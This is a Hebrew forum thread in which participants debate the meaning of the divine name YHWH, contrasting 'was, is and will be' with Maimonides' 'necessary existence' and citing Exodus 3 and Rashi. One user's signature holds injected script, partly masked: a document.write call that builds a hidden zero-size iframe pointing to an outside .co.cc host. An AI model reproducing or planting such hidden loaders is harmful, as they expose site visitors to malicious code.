שם הוי"ה האם הוא מוכרח המציאות?

שם הוי"ה האם הוא מוכרח המציאות?

כל אחד מאתנו מכיר את דברי השולחן ערוך באורח חיים סימן ה על כוונת ומשמעות שם הוי"ה, וזה לשונו:

יכוין בברכות פירוש המלות. כשיזכיר השם, יכוין פירוש קריאתו באדנות שהוא אדון הכל, 'ויכוין בכתיבתו  ביו"ד ה"א שהיה והוה  ויהיה'.

דברי השולחן ערוך מבוסס על ביאורי הראשונים במשמעות וכוונת שם הוי"ה.

וכאן עומדת השאלה: האם באמת זה הכוונה של שם הוי"ה?

אנחנו כל כך רגילים לכוונה הזאת ואנחנו לוקחים את זה כמובן מאליו, וכך כל סידור שמכבד את עצמו מביא את הכוונה הזאת.

ברצוני כאן לברר האם אכן זה הכוונה, ובודאי האם זה מוכרח או מוסכם על כולם.

המקור הראשוני לדעתי צריך להיות הפסוקים שבפרשת השבוע שהם הבסיס והמקור לשם הוי"ה, ואלו הם:

שמות פרק ג

(יג) וַיֹּאמֶר מֹשֶׁה אֶל הָאֱלֹהִים הִנֵּה אָנֹכִי בָא אֶל בְּנֵי יִשְׂרָאֵל וְאָמַרְתִּי לָהֶם אֱלֹהֵי אֲבוֹתֵיכֶם שְׁלָחַנִי אֲלֵיכֶם וְאָמְרוּ לִי מַה שְּׁמוֹ מָה אֹמַר אֲלֵהֶם:

(יד) וַיֹּאמֶר אֱלֹהִים אֶל מֹשֶׁה אֶהְיֶה אֲשֶׁר אֶהְיֶה וַיֹּאמֶר כֹּה תֹאמַר לִבְנֵי יִשְׂרָאֵל אֶהְיֶה שְׁלָחַנִי אֲלֵיכֶם:

(טו) וַיֹּאמֶר עוֹד אֱלֹהִים אֶל מֹשֶׁה כֹּה תֹאמַר אֶל בְּנֵי יִשְׂרָאֵל יְקֹוָק אֱלֹהֵי אֲבֹתֵיכֶם אֱלֹהֵי אַבְרָהָם אֱלֹהֵי יִצְחָק וֵאלֹהֵי יַעֲקֹב שְׁלָחַנִי אֲלֵיכֶם זֶה שְּׁמִי לְעֹלָם וְזֶה זִכְרִי לְדֹר דֹּר:

(טז) לֵךְ וְאָסַפְתָּ אֶת זִקְנֵי יִשְׂרָאֵל וְאָמַרְתָּ אֲלֵהֶם יְקֹוָק אֱלֹהֵי אֲבֹתֵיכֶם נִרְאָה אֵלַי אֱלֹהֵי אַבְרָהָם יִצְחָק וְיַעֲקֹב לֵאמֹר פָּקֹד פָּקַדְתִּי אֶתְכֶם וְאֶת הֶעָשׂוּי לָכֶם בְּמִצְרָיִם:

בהמשך אעלה את הדיונים והבירורים שצריך לדון בגוף הפסוקים כדי להגיע לבירור הכוונה, וכן את עיקרי השיטות ומה שיש לדון בהם כדי להגיע לבירור האמת.

אשמח מאוד בשיתוף כל החברים.

אני חושב שזהו נושא יסודי ושצריך לעניין כל יהודי המאמין בהוי"ה אלוהי ישראל.

כמדומה שנושא זה עלה לפחות פעם אחת בפורום. אני מציין זאת לא בגלל שאין ראוי לפתוח אשכול. לדעתי כן. אלא ששם ציטטתי כמדומה מתוך הספר "רומא וירושלים" של הס, שבו דן בנושא זה, והופתעתי לגלות את דבריו. ואם ימצא אי מי את הדברים ראוי להביאם לכאן.

***

לגבי עצם הדיון -

האם יש חשיבות לשם? איך נקבעים שמות? האם שם של אלוקים אמור להיות שונה?

***
לגבי "מוכרח המציאות" -

כמדומה שמונח זה הוא פרי יצירת הרמב"ם בעקבות הפילוסופיה שלו. וזה מזכיר ביותר ממשהו את ההוכחה האונטולוגית למציאות האלקים. האלקים הוא זה אשר "מציאות" היא אחד המאפיינים של מהותו.

הסבר קצרצר: כל דבר בעולם אפשר שיהיה ואפשר שלא יהיה. גם מה שנמצא, כגון אני הכותב, את/ה הקורא/ת, המחשב שלי, המחשב שלך, ועוד ועוד, כל מה שבכדור הארץ ובגלקסיות, יכול היה להיות אחרת.

הביטוי "יכול היה להיות אחרת" הוא אמנם לא פשוט כפי שהוא נראה אבל רובנו מבינים אותו אינטואיטיבית וסבורים שיש בו ממש. ואדרבה, זו שאלה גדולה: מדוע אנו כאן? מדוע יש משהו במקום לא כלום?

לפי שלכל דבר בעולם יש מהות ומאפיינים, ואפשר שיתקיימו ואפשר שלא. אני לא הייתי לפני שנבראתי ונולדתי. אין מציאותי מוכרחת.

אולם לגבי ה' יש אומרים שמציאותו מוכרחת, ולכן מעצם מושגו מוכרח קיומו.

יש לערער על הוכחה זו, וגם הרמב"ם אינו משתמש בה ממש בצורה זו, אבל הוא עדיין כותב שיש תלות של העולם בה' ואין תלות הפוכה של ה' בעולם.

יכול היה שלא להיות עולם ועדיין היה השם. אלא שאם לא היה השם (וזו כמסתבר סתירה מושגית או לוגית) אז לא יכול היה להיות עולם.

מכאן הכינוי לה' - מוכרח המציאות או "מחוייב המציאות".

כיון שמשה רבנו ועם ישראל ברוב הדורות, כולל הרבנים והנביאים, לא ידעו פילוסופיה (גם אם הרמב"ם האמין בזה) וכיון שהכרתם את האלקים, גם אם היתה בהירה, חכמה, אינטואיטיבית, אולי מיסטית, שלא כמו שלי, עדיין לא יכלו להכיר את המונח "מחוייב המציאות" וגם לא להכיר מונח מקביל לו.

לפיכך שום שם של האלקים שמופיע במקרא אינו יכול להיות נושא משמעות זו של "מחוייב המציאות" במובן שבארתי כאן.

אמנם, לאחר שאנו מבינים את הרעיון, כמדומה שאי אפשר להשתמט מזה שהוא נכון (יש גיל שבו מגלים ששתיים ועוד שתיים הן ארבע, אבל ברגע שמגלים יודעים שתמיד היה כך גם לפני שגילינו זאת).

האם זה מה שיש לייחס כמובן לשם ה' זה או אחר? יש לדון.

תוקנה טעות הקלדה

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

תסלחו לי שאני לא כ"כ מבין את השאלה.

לאל היהודי קוראים י-הוה. איך רצית שיתייחסו אליו? יכחכחו ג' פעמים בגרון? יצקצקו עם הלשון לכיוון דרום מזרח? גם מגישה תיאולוגית מאוד מופשטת זה בערך הדבר שאפשר לומר עליו: שהוא הווה. שהוא ההווייה. (וע"ע און זית)

צבי,
השבוע חשבתי שהפסוקים של פרשתינו אכן נותנים מבט ראוי למובן של שם הוי"ה כמשמעות של היה הווה ויהיה, באשר כל הנושא הנידון בפתיחת הפרשה , מגיע על רקע כשלון תפיסת הא-ל המתגלה במציאות ההווה שהרי גם משה (ובודאי בני ישראל) לא מצליחים במצב הקשה של ההווה המתקיים במצרים למצוא מוצא למצב, ואז מוציא הקב"ה את שם הוי"ה אל פועל המציאות (או לחילופין אל התודעה/נבואה של משה רבינו) ומגלה לו שגאולת מצרים לא מגיעה מצד ההווה , אלא כחלק ממבט כולל שמתחיל באבות וצופה אל העתיד אליו הקב"ה מייעד את בני ישראל , ובהתאם לכל זה מתרחש גם ההווה לכל הפחות בהקשר של יציאת מצרים (ולהבנתי גם בכלל).

צבי

אכן יש לברר מה בדיוק ביקש משה מה'.

יתכן, ויש לבדוק זאת בזהירות, שהשאלה לא היתה על "השם הנכון" אלא על זהות.

אבהיר על ידי דוגמא:

נניח שאני שואל מהו "שולחן", "TABLE", "TISCH, וכו'. התשובה היא בדרך כלל שזה אותו דבר, רק בשפות שונות.

וזו גם התשובה לשאלה: מה השם הנכון של החפץ הזה.

מה הנמשל?

שולחנות יש רבים ואלוקים יש רק אחד. אבל העמים בתקופה ההיא האמינו כל אחד באליליו. שאלה סבירה היא אם כן אל הנביא: בשם מי אתה מדבר עמנו? בשם אלוקי אברהם, יצחק ויעקב? האם הוא לא נותר מאחור, בארץ כנען?

נכון שיוסף הזכיר שם אלוקים ונראה שאשת פוטיפר הבינה את דבריו, אבל אולי עם ישראל בימי משה לא ידעו אפילו דבר פשוט כל כך, שיש אלוקים אחד והוא אלוקי אבותיהם. ואולי בעצם זה לא כל כך פשוט.

לפי זה, השאלה אינה על מהותו של ה' (שעל זה אין תשובה אלא שלילה פילוסופית או הצהרה על תארי הפעולה שלו, כולל אהבתו לנו ואהבתו לצדק) וגם לא על שם מסויים (ובודאי שאין כאן גישה מאגית, כלומר ששליטה בשם היא שליטה בכוחות אלו ואחרים). אלא שאלה של שפה והתייחסות. כיצד פונים לעם כדי לספר לו על אלוקים בשעה שאין מילים מספיק מתאימות למטרה הזו.

ולפי זה יפו דברי רש"י על פי המדרש. "אהיה אשר אהיה", אני שעמם בשיעבוד זה ואני שאהיה איתם (עם האדם) בכל שיעבוד שהוא. ולכן גם כאילו חזר בו השם לאחר הערת משה שלשמוע שה' יהיה איתם תמיד, גם בצרות אחרות, מזכיר להם שיהיו צרות אחרות. ולמרות שזו מהותו של האדם, לא  תמיד יש כוח לשמוע על זה, ועדיף לספר רק על הגאולה מהצרה הנוכחית ולא להתעסק בעתיד רחוק. ולכן ה' קיצר ואמר לו: אמור להם "אהיה", אלוקי אבותיכם שמשגיח וגואל אתכם, הוא שלח את משה אליכם.

לפי זה, אף השם בן ארבע אותיות, אם הוא אכן בא מלשון נסתר (גוף שלישי) של "אהיה", אומר רק את הדבר הזה, והוא מבוסס על תשובת ה' למשה לפי צרת ישראל באותו זמן. וכל מה שנקשר מסביבו מאוחר יותר הוא פרשנות, ולא תמיד נכונה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");